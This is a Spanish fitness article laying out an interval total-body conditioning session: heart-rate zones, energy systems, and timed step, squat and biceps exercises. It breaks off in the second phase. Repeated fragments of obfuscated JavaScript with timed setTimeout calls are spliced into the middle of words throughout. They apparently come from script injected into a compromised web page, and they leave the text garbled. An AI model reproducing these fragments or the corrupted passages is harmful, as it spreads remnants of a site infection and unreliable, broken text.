SESIÓN T.B.C. INTERVÁLICO

Autora: Laura Márquez Benavides

          El sistema de entrenamiento T.B.C. Interválico (Total Body Conditioning)  está diseñado para realizarlo con aquellos alumnos/as que quieran mejorar la condición física, cardiovascular y muscular. Esta sesión T.B.C consta de un entrenamiento máximo cardiovascular (intensidad  90-95% Fc max ) después una intensidad menor (85-90%) y por último un trabajo de tonificación para el tren inferior y superior.

 

SESIÓN T.B.C. INTERVÁLICO


 Sistema de entrenamiento interválico

OBJETIVO: Mejorar la condición física cardiovascular y muscular.

            Para alcanzar el máximo de Fc, trabajaremos con ejercicios que impliquen saltos (pliométricos) y variedad de ejercicios de tonificación para el tren inferior. De esta manera conseguiremos una elevada Fc, alrededor del 90-95%.

            En cuanto al trabajo de tonificación, incidiremos sobre ejercicios analíticos de brazos, concretamente el bíceps y tríceps, con ejercicios específicos para estos músculos. Con respecto  al trabajo de tonificación del tren inferior, trabajaremos  la sentadilla con barra, en diferentes ángulos  de flexión.

            Utilizaremos el entrenamiento máximo cardiovascular más el entrenamiento con resistencias.

          En el entrenamiento cardiovascular, estaremos 10” a una intensidad máxima 90-95%, donde llegaremos al umbral anaeróbico.

          Después, pasaremos a una fase de intensidad menor, 85-90%, de una duración de 50”, que llamaremos intervalo de recuperación con ejercicios muy parecidos al anterior.

          Y un intervalo de trabajo de resistencia: tonificación a velocidad moderada y con una frecuencia media  de trabajo de 1´30”

          Para el trabajo de resistencia del tren inferior (incidiremos en sentadilla, utilizandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el step más el soporte de una barra de 2 kg)

          En el tren superior utilizaremos ejercicios que impliquen contracción concéntrica y excéntrica con barra más discos de 2 kg a diferentes ritmos, con diferentes ángulos.


             Los sistemas energéticos predominantes son los siguientes:

 -En la fase de intensidad máxima (10”): anaeróbico aláctico.

-En la fase de intensidad submáxima (50”):  anaeróbico láctico.

-En la fase de resistencias:  sistema oxidativo.

          Realizaremos 3 series de 16 min (4 minutos cada fase)= 48 min + 10 estiramientos.

          Material:  barra 2 kg, barra más discos de 2 kg, step.

SESION:

PRIMERA FASE: duración total 4 min

Duración: 1 min

-         10” cardiovascular: saltos alternos de pie (derecha/izquierda).

-         50”  intervalo de recuperación activa:

  1. Salto pies juntos al step. (colocado el step en posición vertical y alumno en lado izquierdo del step)
  2. Bajo a caballo (1º pie derecho en el suelo, después izquierdo, quedandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando step entre las 2 piernas)
  3. Subo a caballo
  4. Salto a pies juntos al suelo
  5. Ídem hacia el otro lado

 

Trabajo de tonificación

          Ejercicios: trabajar grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes grupos musculares del tren inferior (glúteos) junto a trabajo de tonificación del tren superior.


Duración: 1´30”

  1. Subir al step con barra
  2. Flexión de glúteos
  3. Bajar step
  4. Flexión glúteos ( en suelo)

Duración: 1´30” – ejercicios de bíceps con barra más 2 kg: con agarre supino, con agarre normal.

Duración total: 3 min

 

SEGUNDA FASE. Duración total: 4 min

Duración: 1 min

-         10” cardiovascular; saltos a un lado y al otro del step (primero apoyo un pie, después el otro).

-         50” intervalo de recuperación activa:

  1. Subo pies juntos con salto a step
  2. Bajo andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}